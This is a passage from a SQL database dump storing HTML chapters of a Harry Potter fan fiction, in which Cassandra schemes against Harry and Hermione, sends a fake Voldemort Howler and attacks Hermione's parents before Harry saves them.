Cassandra&#8217;s charms.&nbsp; She was even more surprised at the forcefulness he showed in protecting her.&nbsp; She remembered the previous year and the incident with Malfoy &#8211; even Harry had a limit to his patience.&nbsp; And when Voldemort had attacked her last spring, Harry&#8217;s power had ignited in full force, and he showed no mercy to the man who had dared to hurt her.&nbsp; Hermione was worried because she knew that Harry didn&#8217;t like to hurt people; it wasn&#8217;t who he was.</p>\n\n<p>&#8216;That was why he trained me too; he wanted me to be able to look after myself; I won&#8217;t let you down, Harry.&#8217;</p>\n\n<p>&#8220;Man, I wouldn&#8217;t want to be Cassandra right now,&#8221; Lavender gulped.</p>\n\n<p>&#8220;Yeah, Harry looked seriously pissed!&#8221; Ron added.</p>\n\n<p>&#8220;Hermione, I suggest we go find him, or he may blow something up by accident,&#8221; Lavender suggested.</p>\n\n<p>&#8220;You&#8217;re right, let&#8217;s go!&#8221;</p>\n\n<p>Cassandra stood in the hallway with her fists clenched.&nbsp; How could he turn her down?&nbsp; How could he refuse her charms?&nbsp; So many men had fallen under her spell&#8230;why not him?&nbsp; She growled under her breath.</p>\n\n<p>&#8216;He&#8217;s still going to be mine, and I don&#8217;t care what that Mudblood bitch tries to do about it!&#8217;</p>\n\n<p>She smiled evilly and walked back to the Great Hall; she needed to see a certain blonde-haired Slytherin.</p>\n\n<p>Hermione didn&#8217;t find Harry back inside the Great Hall.&nbsp; She went searching for him and finally found him outside the main gates.</p>\n\n<p>&#8220;Harry, are you all right?&#8221;</p>\n\n<p>&#8220;Sweetheart?&#8221;</p>\n\n<p>Harry turned to pull Hermione into his arms, and she pressed herself against his chest.</p>\n\n<p>&#8220;I&#8217;m sorry about what happened at the Ball; I shouldn&#8217;t have let it go so far.&#8221;</p>\n\n<p>&#8220;It&#8217;s all right, love; you didn&#8217;t do anything wrong.&nbsp; I heard what you said to Cassandra.&nbsp; Don&#8217;t worry, she&#8217;s just blowing off her anger at your refusal.&#8221;</p>\n\n<p>&#8220;Maybe, but I think we need to be on our guard.&nbsp; I don&#8217;t trust her anymore.&#8221;</p>\n\n<p>Harry pulled her close and kissed her long and hard.</p>\n\n<p>&#8220;Watch your back, okay; I want you to be safe.&#8221;</p>\n\n<p>&#8220;Shh, you taught me well, Harry; I can handle her.&#8221;</p>\n\n<p>Hermione pulled him down for another kiss, and he didn&#8217;t argue with her.&nbsp; There was one important thing that Harry hadn&#8217;t spoken about though.&nbsp; When Cassandra had said that she was going to harm Hermione, Harry had felt something that he&#8217;d never hoped to feel again&#8230;his scar burning.</p>\n\n<p>Author&#8217;s Notes: Sorry about the long layoff. The action part is getting ready to rise so stay tuned. I have to let everyone know that I&#8217;m stepping away from this story for a little while. I&#8217;ve neglected my other fics, and I need to work on them as well. I&#8217;m also considering on continuing &#8216;Curse of the Eros Potion&#8217; as well so look for that as well. Thank you very much for all your support.</p> '),
	(244, 11, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<title>Not a sound could be heard as two figures stealthily made their way into the Slytherin Common Room</title>\n\n<style>\n\n</style>\n\n\n\n<p>Not a sound could be heard as two figures stealthily made their way into the Slytherin Common Room.&nbsp; One wore the familiar green emblem on his robe, but the other wore a robe with a red and yellow patch &#8211; a Gryffindor.</p>\n\n<p>&#8220;Are you sure this place is secure?&#8221; the Gryffindor asked.&nbsp; Her companion smirked and ran a hand back through his bright, blond hair.</p>\n\n<p>&#8220;Trust me, no one will know what we&#8217;re doing.&#8221;</p>\n\n<p>&#8220;I don&#8217;t trust anyone, Malfoy!&#8221;</p>\n\n<p>&#8220;Then tell me, Cassandra, what are you doing here then?&#8221;</p>\n\n<p>&#8220;I said that I needed your family&#8217;s contacts, and in return, I guaranteed that you would be able to see Harry Potter defeated.&nbsp; Now, cast the spell.&#8221;</p>\n\n<p>Malfoy picked up a small amount of Floo powder and threw it into the fireplace.&nbsp; Green flames roared out of the stone hearth, and Lucius Malfoy&#8217;s face appeared in the center of the flames.</p>\n\n<p>&#8220;Ah, I see you brought her, Draco.&nbsp; She is quite stunning, I must say!&#8221;</p>\n\n<p>&#8220;Can it, old man, I&#8217;m not here for pleasantries,&#8221; Cassandra hissed.</p>\n\n<p>&#8220;Watch your tongue, girl, or I&#8217;ll cut it out for you.&#8221;</p>\n\n<p>&#8220;Have you considered my offer?&nbsp; After that humiliating defeat that Harry Potter gave you last year, the only way you&#8217;ll save face is if he is defeated.&#8221;</p>\n\n<p>&#8220;The boy was merely lucky; he merely surprised me,&#8221; Lucius growled, and Cassandra just laughed.</p>\n\n<p>&#8220;Oh please, he could probably take both of you blindfolded.&#8221;</p>\n\n<p>&#8220;What makes you think that you can take him?&#8221; Draco said with a cold glare.</p>\n\n<p>&#8220;Don&#8217;t worry, after I&#8217;m through with him, he won&#8217;t be in any shape to fight.&nbsp; Plus, I&#8217;m sure that Draco wouldn&#8217;t mind putting that irritating Mudblood of his in her place, am I right?&#8221;</p>\n\n<p>&#8220;Hmm, it is a most appealing offer; I agree to your terms,&#8221; Lucius stated.</p>\n\n<p>&#8220;Now, Cassandra, just how are planning to defeat Harry Potter?&#8221;</p>\n\n<p>The young woman explained her plan to the two men, and they grinned evilly after hearing it.&nbsp; Cassandra gave her own sadistic grin and clicked her heels.</p>\n\n<p>&#8220;All right, we each know our parts; now, let&#8217;s finish Potter once and for all.&#8221;</p>\n\n<p>&#8220;Agreed,&#8221; both Malfoys said at the same time.</p>\n\n<p>Meanwhile, inside Sirius&#8217; classroom, he and Remus were helping Harry to try and learn one final piece of magic.&nbsp; It was the only part that he couldn&#8217;t seem to master.</p>\n\n<p>&#8220;Come on, you can do this.&nbsp; Just look within yourself and see it.&#8221;</p>\n\n<p>&#8220;I&#8217;m trying, Sirius, but I just can&#8217;t seem to get it.&#8221;</p>\n\n<p>&#8220;It&#8217;s all right, Harry, becoming an Animagus is not an easy task.&nbsp; However, in order to make it, you must first understand yourself.&nbsp; When you look inside yourself, what do you feel in your spirit?&nbsp; What would that feeling look like if it was to just jump out of your body?&#8221; Remus asked.</p>\n\n<p>Harry calmed his mind and tried to follow the older man&#8217;s instructions, but he just couldn&#8217;t seem to sense the type of Animagus he could become.</p>\n\n<p>&#8220;I&#8217;m sorry, I just can&#8217;t do it,&#8221; he sighed.&nbsp; Sirius put a hand on his shoulder.</p>\n\n<p>&#8220;Hey, it&#8217;s all right.&nbsp; You don&#8217;t have to be perfect in everything; you&#8217;ve already done more than anyone ever expected of you.&#8221;</p>\n\n<p>&#8220;Thanks, but I still feel like I let you guys down.&#8221;</p>\n\n<p>&#8220;Not at all, Harry, we know how hard this technique is,&#8221; Remus agreed.</p>\n\n<p>&#8220;I&#8217;ll keep trying; I promise that I&#8217;ll figure it out.&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry about it, Harry, not everyone is meant to become an Animagus.&#8221;</p>\n\n<p>Springtime returned to Hogwarts, and with it, the NEWT&#8217;s were on the horizon for the seventh years.&nbsp; In the library sat Ron, Lavender, Hermione, and Harry.&nbsp; Manuscripts and books of all sorts were strewn out around the table in front of them.</p>\n\n<p>&#8220;Come on, Hermione, it&#8217;s Saturday for Merlin&#8217;s sake!&#8221; Ron groaned.</p>\n\n<p>&#8220;So what, that doesn&#8217;t mean that you can slack off; we all have to be ready for the NEWT&#8217;s, or we won&#8217;t be able to graduate.&#8221;</p>\n\n<p>&#8220;But Herm, isn&#8217;t this a little overzealous; we still have two months before the tests,&#8221; Lavender stated.</p>\n\n<p>&#8220;Hmmph, well Harry agrees with me, don&#8217;t you?&#8221; she asked and spun around to look directly at her fianc&#233;.</p>\n\n<p>He may have defeated the Dark Lord, but Harry Potter cringed under Hermione&#8217;s accusing eyes.</p>\n\n<p>&#8220;I&#8217;m not getting involved in this conversation; I&#8217;m exempt because of certain emotional attachment.&#8221;</p>\n\n<p>&#8220;Meaning you&#8217;re chickening out,&#8221; Ron stated.</p>\n\n<p>&#8220;It&#8217;s called strategic abstention; I cannot honestly answer the question.&#8221;</p>\n\n<p>&#8220;Harry, that&#8217;s a pretty cheap trick; you just don&#8217;t want to get Hermione mad at you,&#8221; Lavender accused.</p>\n\n<p>&#8220;True&#8230;very true,&#8221; he grinned and went back to his book.</p>\n\n<p>&#8220;You&#8217;re hopeless, Harry,&#8221; Hermione sighed.</p>\n\n<p>&#8220;It&#8217;s best if we get started now because then you won&#8217;t have to spend all your time cramming the last few weeks,&#8221; she explained.</p>\n\n<p>&#8220;Fine, but I&#8217;m not staying in here all day.&nbsp; One more hour, and then I&#8217;m gone!&#8221; Ron stated.</p>\n\n<p>True to his words, Ron left the library an hour later with Lavender in tow.&nbsp; Harry and Hermione stayed for another few hours before their stomachs began to growl noisily.</p>\n\n<p>&#8220;I&#8217;m sorry, Herm, but if I look at one more potions list, I think that I&#8217;ll go blind,&#8221; Harry groaned.</p>\n\n<p>&#8220;All right, we&#8217;ve done enough for today.&nbsp; Besides, it&#8217;s just about dinnertime, and I&#8217;m famished.&#8221;</p>\n\n<p>The pair gathered up their books and headed out of the library.</p>\n\n<p>After dropping off their things in their rooms, Harry and Hermione headed for the Great Hall.&nbsp; Taking their seats, they quickly helped themselves to the delicious food lying before them.</p>\n\n<p>Halfway through the meal, a screech was heard from the rafters overhead.&nbsp; From one of the open windows, an owl swooped down over the students and headed for the Gryffindor table.&nbsp; The owl made a graceful dive and dropped something into Hermione&#8217;s hands.</p>\n\n<p>&#8220;Isn&#8217;t it a tad late for mail?&#8221; Ron asked and scratched his head.</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Hermione replied and looked at the letter.&nbsp; It was bright red, and her eyes widened as she realized what it was &#8211; a howler.</p>\n\n<p>&#8220;Hey, that&#8217;s a howler, isn&#8217;t it Hermione?&#8221; Lavender asked.</p>\n\n<p>&#8220;Yes, but I don&#8217;t see why it&#8217;s for me; my parents barely know how to send me mail as it is; they wouldn&#8217;t know how to send me a howler.&#8221;</p>\n\n<p>Harry felt the hair on the back of his neck twinge as he stared at the red envelope; he felt something ominous about this.</p>\n\n<p>&#8220;Go on and open it,&#8221; Ron prodded.</p>\n\n<p>Before Harry could object, Hermione popped open the seal.&nbsp; The envelope shot out of her hands and floated in front of her face.&nbsp; It opened up and formed into a pair of sharp, looking jaws.</p>\n\n<p>&#8220;Listen to me well&#8230;&#8221; it began, and the entire Great Hall froze.&nbsp; Hermione&#8217;s eyes shot open in horror, and her heart nearly stopped.</p>\n\n<p>Harry&#8217;s fists clenched as he recognized the voice &#8211; Voldemort.</p>\n\n<p>&#8220;&#8230;you shall lose all that is dear to you; nothing and no one can save you.&#8221;</p>\n\n<p>The icy words wrapped around Hermione&#8217;s hearts, and she began to tremble.&nbsp; The letter turned into an almost cruel smile then turned towards Harry.</p>\n\n<p>&#8220;Not even you can save her!&nbsp; I will look forward to seeing you both suffer.&#8221;</p>\n\n<p>The letter began laughing, and Harry, with lightning fast reflexes, snatched it out of the air.</p>\n\n<p>&#8220;The hell you will!&#8221; he growled and crushed the letter in his hand.&nbsp; He was boiling mad, but he attention quickly turned towards a shivering Hermione next to him.</p>\n\n<p>After shredding the letter, Harry wrapped her in his arms, and she buried her face in his chest.&nbsp; The Great Hall remained silent in utter shock of hearing the Dark Lord&#8217;s voice once more.</p>\n\n<p>&#8220;Everyone, please, remain calm,&#8221; Dumbledore stated as he rose from his seat.</p>\n\n<p>&#8220;Calm&#8230;how can we be calm&#8230;&#8221; a fifth year Ravenclaw blurted out.</p>\n\n<p>&#8220;I thought You Know Who was dead?&#8221; a sixth year Hufflepuff answered.</p>\n\n<p>&#8220;Enough!&#8221; Harry shouted, and everyone immediately clammed up.</p>\n\n<p>&#8220;Listen to me, everyone, Voldemort is dead, and I do mean &#8216;dead&#8217;.&nbsp; All this is...is some wizard&#8217;s pathetic attempt at using his voice as a way to frighten people into believing that Voldemort is still alive.&#8221;</p>\n\n<p>&#8220;Mr. Potter is quite right,&#8221; Dumbledore agreed, &#8220;Someone is just trying to frighten everyone hear by preying on their old fears of Lord Voldemort.&#8221;</p>\n\n<p>After this explanation, the students began to calm down, but they were still muttering to themselves.</p>\n\n<p>Meanwhile, Harry consoled a distraught Hermione, who was still shaking in his arms.</p>\n\n<p>&#8220;Harry, it was him&#8230;he&#8230;he wants me dead in order to hurt you,&#8221; she cried.</p>\n\n<p>&#8220;Shh, Voldemort is gone, Hermione,&#8221; he whispered and stroked her hair.</p>\n\n<p>&#8220;I promise you, love, he won&#8217;t ever hurt us again.&nbsp; Someone was just mimicking his voice to make you afraid.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; she asked and raised her head.&nbsp; He cupped her face in his hands and smiled.</p>\n\n<p>&#8220;I&#8217;m sure.&nbsp; I would never allow anything to happen to you, Hermione, and I won&#8217;t let anyone you care about to be hurt either,&#8221; Harry said with conviction.</p>\n\n<p>&#8220;Thank you,&#8221; she replied and wiped her eyes.</p>\n\n<p>Harry&#8217;s mind was running at a thousand miles an hour, and his eyes were blazing around the room looking for a specific blond.&nbsp; He found her at the far end of the Gryffindor table; there was no visible sign that she had even flinched at hearing Voldemort&#8217;s voice.&nbsp; Harry glared at Cassandra, and she caught his eyes.&nbsp; The side of her mouth turned up, but what made him angry was her eyes.&nbsp; They were almost laughing as she watched Hermione tremble in his arms, and they twinkled with hidden mirth.&nbsp; It was as if she was taunting him to mouth his opinion.</p>\n\n<p>&#8216;I warned you, Harry; she is going to suffer,&#8217; her eyes stated.</p>\n\n<p>&#8216;I swear, Cassandra, you will never cause her pain; I&#8217;ll bet my life on it!&#8217; his eyes said right back.</p>\n\n<p>Harry watched as her eyes clouded over with anger, and he swore he saw a flash of crimson in her eyes.&nbsp; It was then that he felt his scar begin to burn, and his brain began to formulate was going on.</p>\n\n<p>With barely an eye twitch, Harry&#8217;s power roared to the surface, and his eyes blazed with a roaring fire.</p>\n\n<p>&#8216;All right, Cassandra, you want to play games with people&#8217;s lives, then you&#8217;ll have to go through me first.&#8217;</p>\n\n<p>Dumbledore sat at the head of the teacher&#8217;s table with a trouble expression on his face.</p>\n\n<p>&#8220;Albus, that couldn&#8217;t have &#8216;him&#8217;, could it?&nbsp; I mean, Harry destroyed him last year,&#8221; Professor McGonagall said worriedly.</p>\n\n<p>&#8220;No, that was not Voldemort; he was indeed killed last year.&nbsp; Harry is correct in saying that someone is merely impersonating him to gain an advantage.&nbsp; What troubles me is that I can feel an immense power coming from within Harry?&nbsp; It&#8217;s almost as if he&#8217;s struggling to control himself from acting on his emotions.&nbsp; Perhaps he knows something about this that he has not spoken about.&#8221;</p>\n\n<p>&#8220;Yes, I can sense his power as well, but I don&#8217;t see who could masquerade as the Dark Lord,&#8221; Minerva replied.</p>\n\n<p>&#8220;Indeed, neither do I, but I wonder, if perhaps, Harry&#8230;just might.&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; All right, everybody, gear up cause it&#8217;s gonna get ugly.&nbsp; So stay tuned cause the action&#8217;s gonna start next time!</p> ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(244, 12, ' <p>Two weeks had passed since Hermione had received her Howler, but students were still chattering about it up and down the halls.&nbsp; Harry had been on constant vigil; he&#8217;d never left Hermione alone.&nbsp; She was getting irritated at his patronizing, but he just asked her to bear with him for the time being.&nbsp; Harry was just about head towards Snape&#8217;s dungeon when Professor Dumbledore found him in the hallway.</p>\n\n<p>&#8220;Ah Harry&#8230;do you have a moment?&#8221;</p>\n\n<p>&#8220;Certainly sir.&#8221;</p>\n\n<p>The young man followed the elder wizard into a side classroom, which was thankfully empty for the time being.&nbsp; As they both entered, Dumbledore took out his wand and immediately cast a silencing charm over the room.&nbsp; Now, Harry knew that this was going to be serious.</p>\n\n<p>&#8220;Harry, I&#8217;d like to ask you some questions, and I&#8217;d like you to be candid with me, please.&#8221;</p>\n\n<p>&#8220;Of course, sir.&#8221;</p>\n\n<p>&#8220;Very well.&nbsp; I&#8217;m sure that you remember the Howler that Miss Granger received several weeks ago; it has caused quite a stir in both Hogwarts and the wizarding world.&nbsp; By the way you responded, I could sense that you seemed to expect something would happen to Hermione.&nbsp; Has something happened?&#8221;</p>\n\n<p>Harry wanted to confide in the older man, but he had no proof of his theories.&nbsp; He couldn&#8217;t tell him about Cassandra because there was nothing to tell him.</p>\n\n<p>&#8220;Sir, I&#8217;d really like to help, but right now, there&#8217;s nothing that I can say.&nbsp; I have my suspicions, as I&#8217;m sure you know, but I can&#8217;t voice them until I have proof.&#8221;</p>\n\n<p>&#8220;I understand, Harry, but you must understand that I&#8217;ve tried to let you choose your own path, however, I don&#8217;t want you to abuse that right,&#8221; he said sternly.</p>\n\n<p>&#8220;I know, Professor Dumbledore, and I appreciate your confidence, but I can&#8217;t really explain it.&nbsp; I&#8217;m almost positive about who sent Hermione the Howler, but I want to take care of this myself.&#8221;</p>\n\n<p>&#8220;All right, I&#8217;ll allow that, if you tell who it is.&#8221;</p>\n\n<p>&#8220;Cassandra Cross.&nbsp; She&#8217;s openly told me that she&#8217;ll do anything to take me away from Hermione &#8211; including hurting her.&nbsp; I&#8217;ll die before I let someone hurt Hermione, but I can&#8217;t just blurt out what she&#8217;s said.&#8221;</p>\n\n<p>&#8220;True.&nbsp; I&#8217;ve heard many of the professors talking about how polite and courteous she is, but I trust your judgment.&#8221;</p>\n\n<p>&#8220;There are two sides to who she is, professor &#8211; just like two sides of a coin.&#8221;</p>\n\n<p>&#8220;What do plan on doing, Harry?&#8221;</p>\n\n<p>&#8220;I&#8217;m not sure; I guess the only thing I can do is wait for her to make a move.&nbsp; Cassandra is hiding something, and I have theories about who she really is.&nbsp; However, I need to catch her in the act.&#8221;</p>\n\n<p>&#8220;Very well, I won&#8217;t take any action concerning your accusations of Miss Cross, but Minister Fudge was quite put out when he heard about Voldemort sending a Howler to a Hogwarts&#8217; student.&nbsp; Work fast, Harry; we&#8217;re running short of time.&#8221;</p>\n\n<p>&#8220;Yes sir.&#8221;</p>\n\n<p>With that, the two men left the empty classroom.</p>\n\n<p>The following month seemed to blow by, and the seventh years began hunkering down for the NEWTS.&nbsp; It was just after dinnertime, and Harry was on his way back to the Gryffindor Common Room.</p>\n\n<p>Hermione was also heading for the common room, but she was stopped in her tracks as she saw Cassandra step in front of her.</p>\n\n<p>&#8220;Oh, I&#8217;m sorry, Cassandra, I didn&#8217;t see you there,&#8221; Hermione apologized.</p>\n\n<p>&#8220;Going blind, are you Hermione?&nbsp; And here I thought Harry was the only one who needed glasses?&#8221; she snickered.</p>\n\n<p>&#8220;Hey, I apologized all right; I didn&#8217;t even run into you.&#8221;</p>\n\n<p>&#8220;Do you think I really care about that?&nbsp; I just want to ask you something.&#8221;</p>\n\n<p>&#8220;Which is?&#8221; Hermione felt her stomach turn at the sick smile that crossed the blonde&#8217;s face.</p>\n\n<p>&#8220;I just wanted to ask&#8230;what&#8217;s Harry like in bed?&#8221;</p>\n\n<p>&#8220;I beg your pardon!&#8221;</p>\n\n<p>&#8220;Come on, you can tell me, is he really good?&#8221; she sneered.</p>\n\n<p>&#8220;That&#8217;s none of your business.&#8221;</p>\n\n<p>&#8220;Sure, it is; I planning on riding him very soon.&#8221; That got Hermione steamed.</p>\n\n<p>&#8220;I don&#8217;t think so, Cassandra; Harry would never cheat on me!&#8221;</p>\n\n<p>&#8220;We&#8217;ll see about that, but in the meantime&#8230;how did you like your little letter?&#8221;</p>\n\n<p>&#8220;That&#8230;that was you!&#8221; Hermione screeched, and her eyes narrowed.&nbsp; Her hand slid into her robes to find her wand; she didn&#8217;t know where this conversation was headed.</p>\n\n<p>&#8220;Indeed, not a bad imitation was I; it was such an easy spell; you should have seen the look on your face,&#8221; she laughed evilly.</p>\n\n<p>&#8220;Why are you doing this, Cassandra?&nbsp; Harry and I have done nothing to you.&#8221;</p>\n\n<p>&#8220;I want to watch both of you suffer, and the way to make him suffer is to make you suffer.&nbsp; Tell me, Hermione, how are your parents doing?&#8221;</p>\n\n<p>The Head Girl&#8217;s face went ghostly white, and her heart nearly stopped.</p>\n\n<p>&#8220;What&#8230;what in bloody hell is that supposed to mean?&#8221;</p>\n\n<p>Cassandra reached into her robes and drew out a scroll of paper; she smiled cruelly at Hermione and read a few lines from the parchment.&nbsp; The young woman&#8217;s widened in shock.</p>\n\n<p>&#8220;Oh my, isn&#8217;t that your address?&nbsp; What a lucky guess?&nbsp; I might as well go pay a visit since I have this&#8230;&#8221; and with that Cassandra disappeared as Hermione realized that the parchment had in fact been a portkey.</p>\n\n<p>&#8220;No, what is she going to do&#8230;mom&#8230;dad&#8230;&#8221;</p>\n\n<p>Tears filled her eyes, and she buried her face in her hands.&nbsp; That was how Harry found her.</p>\n\n<p>Harry was on the last leg to the common room when he saw Hermione standing in the hallway crying.&nbsp; He raced up to her and took her in his arms.</p>\n\n<p>&#8220;Sweetheart, what&#8217;s wrong?&#8221;</p>\n\n<p>&#8220;Harry!&#8221; she bawled and buried her face in his chest, &#8220;She&#8230;she&#8230;&#8221;</p>\n\n<p>&#8220;Hermione, slow down, what&#8217;s going on?&#8221;</p>\n\n<p>&#8220;Cassandra, she stopped me on the way to the common room.&nbsp; She had this really sinister look on her face, and she said that she was going to have you in bed real soon.&nbsp; When I got angry, she merely smiled and took out a piece of parchment; it was a portkey&#8230;to my house!&#8221;</p>\n\n<p>&#8220;What?&nbsp; To your house?&#8221;</p>\n\n<p>&#8220;Yes, she just disappeared a few minutes ago.&nbsp; What&#8230;what is she going to do?&nbsp; What about mom and dad?&#8221;</p>\n\n<p>Harry&#8217;s blood reached the boiling point in about five seconds, and he clutched Hermione&#8217;s shoulders.</p>\n\n<p>&#8220;Hermione, listen carefully, go to Dumbledore&#8217;s office and tell him exactly what happened.&nbsp; I&#8217;ll take care of your parents.&#8221;</p>\n\n<p>&#8220;But Harry&#8230;&#8221;</p>\n\n<p>&#8220;Trust me, sweetheart, I made you a promise&#8230;&#8221; and with that, he disapparated right out of her arms.&nbsp; She silently thanked whoever was listening that Harry had that ability. Hermione turned and raced for the headmaster&#8217;s office.</p>\n\n<p>&#8216;Please, my love, make it in time.&#8217;</p>\n\n<p>John and Melinda Granger were enjoying a peaceful evening in their backyard.&nbsp; All of a sudden, a young blond woman appeared in front of them.</p>\n\n<p>&#8220;What in the world?&#8221; John gasped.</p>\n\n<p>&#8220;Who are you?&#8221; Melinda asked.&nbsp; The young woman merely smirked.</p>\n\n<p>&#8220;Mr. and Mrs. Granger, I presume, how lovely to see you this evening.&#8221;</p>\n\n<p>&#8220;What do you want?&#8221;</p>\n\n<p>&#8220;Why nothing, I just came by a cup of tea&#8230;and&#8230;this&#8230;&#8221;</p>\n\n<p>Cassandra aimed her wand, and Melinda was flung backwards right through her kitchen window.&nbsp; The glass shattered into a thousand pieces, and she landed hard on the floor.</p>\n\n<p>&#8220;What is the meaning of this?&#8221; John demanded.</p>\n\n<p>&#8220;Oh, shut-up!&#8221; and Cassandra flung him through the backdoor.</p>\n\n<p>John landed flat on his back, and he turned to see his wife covered with glass.&nbsp; He crawled over to her and cradled her head in his hands.&nbsp; She had a large gash on her forehead and several scrapes on her arms and legs.</p>\n\n<p>&#8220;Melinda, can you hear me?&nbsp; Say something please?&#8221; he begged.</p>\n\n<p>Cassandra laughed hysterically as she watched the man pleading for his wife to wake up.</p>\n\n<p>&#8220;Talk all you want; both of you won&#8217;t be alive much longer.&#8221;</p>\n\n<p>She rose into the air &#8211; almost twenty feet high.&nbsp; Extending her wand, a fireball ignited at its tip and began to expand outward rapidly.&nbsp; With the amount of magical energy in her wand, Cassandra failed to sense the apparition of another wizard.</p>\n\n<p>Harry apparated directly into the Granger&#8217;s kitchen, and he immediately saw the two cowering on the floor.&nbsp; He went to them instantly, and John Granger turned to face him.&nbsp; Harry quieted him before he said the wizard&#8217;s name; he didn&#8217;t think that Cassandra knew he could apparate out of Hogwarts.</p>\n\n<p>&#8220;Quiet, Mr. Granger, can you move?&#8221; He nodded silently.</p>\n\n<p>&#8220;What about your wife?&nbsp; Don&#8217;t worry, we&#8217;ll get her some help.&#8221;</p>\n\n<p>Harry could sense a massive spell being cast in the sky above the house.&nbsp; Cassandra was not in line of sight, which meant that she didn&#8217;t know he was there &#8211; not with the amount of power in her spell.&nbsp; He had to time this exactly right.</p>\n\n<p>Cassandra was ready with her spell; she held a fifty-foot wide fireball on the end of her wand.</p>\n\n<p>&#8216;The muggles around here are probably scared out of the their minds.&#8217;</p>\n\n<p>She looked down at the house below and smiled cruelly.</p>\n\n<p>&#8220;Die, you worthless Mudbloods!&#8221;</p>\n\n<p>Harry felt it when she released her spell, and it descended quickly towards the house.</p>\n\n<p>&#8220;John, listen carefully, keep very still; you both will be fine,&#8221; he whispered, and the older man nodded as he held his wife close.</p>\n\n<p>Harry closed his eyes and called on his power.</p>\n\n<p>&#8216;Gemstar, I need you, my friend.&nbsp; Please, protect this house and these people; they are my family.&#8217;</p>\n\n<p>Just as the fireball reached the house, Harry opened his eyes, and the Phoenix exploded out of his body.</p>\n\n<p>John Granger was treated with seeing a giant firebird explode out of Harry Potter&#8217;s body.&nbsp; The flames roared through his body and his wife&#8217;s, but neither of them was burned.</p>\n\n<p>Harry was very careful.&nbsp; The phoenix expanded out to the very edge of the house just as the fireball exploded.&nbsp; Its flames engulfed the entire house and made it look like a towering inferno.</p>\n\n<p>Inside, Harry remained by the Grangers&#8217; side &#8211; waiting for Cassandra to leave.&nbsp; He could hear her laughing sadistically, and his eyes narrowed.&nbsp; This time, she\'d gone way too far; her days were numbered now.</p>\n\n<p>Cassandra levitated over the burning houses for about five minutes, smiling proudly.&nbsp; After this, Hermione would be absolutely broken.</p>\n\n<p>&#8220;All too easy,&#8221; she laughed and used her portkey to disappear out of sight.</p>\n\n<p>Harry could sense when she was gone, and he opened his clenched fists as the phoenix retreated back inside his body.</p>\n\n<p>&#8220;Are you all right, John?&#8221; he asked worriedly.</p>\n\n<p>Mr. Granger stared at Harry in utter shock.&nbsp; He&#8217;d just spent the last five minutes sitting in the middle of a fire, but there was not one scratch on him, his wife, or even the house.&nbsp; The phoenix had protected the house and used its own flames as a disguise.</p>\n\n<p>&#8220;Harry&#8230;what&#8230;what just happened?&#8221;</p>\n\n<p>&#8220;I&#8217;m terribly sorry, sir; I should never have let this happen.&nbsp; Please, let&#8217;s get Mrs. Granger some help.&#8221;</p>\n\n<p>Before John could protest, Harry grabbed his arm as well as Melinda&#8217;s, and the three disappeared.</p>\n\n<p>Harry had a plan of action, but he needed to make sure that the Grangers were same for the time being.&nbsp; So, he took them to one place where he knew they&#8217;d be safe &#8211; Dumbledore&#8217;s house.</p>\n\n<p>The trio apparated into the main hallway, and Mathis turned around sharply at the unexpected arrival.</p>\n\n<p>&#8220;Oh, Mr. Potter, what&#8217;s happened?&#8221; he gasped, noticing the two injured with him.</p>\n\n<p>&#8220;Mathis, I need a favor.&nbsp; These are Hermione&#8217;s parents; they need to stay here for a while; they were attacked and nearly killed.&nbsp; Would you look after them please?&#8221;</p>\n\n<p>&#8220;Of course.&#8221; He clapped his hands, and several house elves appeared out of the woodwork.</p>\n\n<p>&#8220;Um&#8230;Harry&#8230;what are they?&#8221; John asked.</p>\n\n<p>&#8220;Don&#8217;t worry, they&#8217;re friendly; I promise, you&#8217;ll both be fine here.&nbsp; Right now, I need to get back to Hogwarts before Cassandra finds out that I ever left.&#8221;</p>\n\n<p>&#8220;Why did she try and kill us?&#8221;</p>\n\n<p>&#8220;She&#8217;s trying to hurt Hermione, and you two are the obvious target.&nbsp; However, right now, Cassandra thinks that the two of you are dead, which could give us an advantage.&nbsp; I think it would be best if both you and Melinda stayed dead for the time being.&nbsp; That way, she&#8217;ll completely ignore you two.&#8221;</p>\n\n<p>&#8220;But what about Hermione?&nbsp; She&#8217;ll be devastated when she hears about it,&#8221; John said worriedly.</p>\n\n<p>&#8220;Don&#8217;t worry, I&#8217;ll take care of Hermione.&nbsp; If it&#8217;s safe enough, I&#8217;ll bring her here in a few days.&nbsp; In the mean time, rest and get your strength back.&nbsp; I swear, everything is going to be all right.&#8221;</p>\n\n<p>&#8220;Thank you, Harry, if you hadn&#8217;t come&#8230;&#8221;</p>\n\n<p>&#8220;Don&#8217;t thank me yet, Mr. Granger, save that for when this is over.&nbsp; I better go now.&nbsp; Mathis, I leave them to you.&#8221;</p>\n\n<p>&#8220;Of course, Mr. Potter, they&#8217;ll be well taken care of.&#8221;</p>\n\n<p>&#8220;Thank you very much,&#8221; and the young wizard disapparated once again.</p>\n\n<p>&#8220;He is quite a young man,&#8221; John Granger said in astonishment.</p>\n\n<p>&#8220;That he is, sir, now, let us help you and your wife with your injuries.&#8221;</p>\n\n<p>Author&#8217;s Notes:&nbsp; See, I told you action would start this chapter, but don&#8217;t think that this is the last of it.&nbsp; I&#8217;m just getting started!</p> '),
	(244, 13, ' <p>By the time Harry returned to Hogwarts, dinner was almost halfway through.&nbsp; He entered the Great Hall to see everyone with their face buried in the Daily Prophet.&nbsp; Wait a minute, why had it arrived in the evening?</p>\n\n<p>&#8220;Harry!&#8221; Ron shouted when he saw his best friend.&nbsp; He leapt out of his seat and raced to the front of the Great Hall.</p>\n\n<p>&#8220;Harry&#8230;look at this&#8230;the Daily Prophet just ran an emergency issue.&nbsp; Someone attacked Hermione&#8217;s parents!&#8221;</p>\n\n<p>Ron showed him the paper, and Harry looked at the cover on the front page.&nbsp; Sure enough, there was the Granger household smoldering in a towering inferno.&nbsp; The picture then changed to show the house lying in ruins.&nbsp; Harry&#8217;s face remained expressionless, but his eyes scanned the room for Hermione.</p>\n\n<p>&#8220;Ron, where is she?&#8221; He didn&#8217;t have to say her name.</p>\n\n<p>&#8220;When she heard what happened, she ran up to her room and locked herself in; I can&#8217;t even begin to think what she&#8217;s feeling 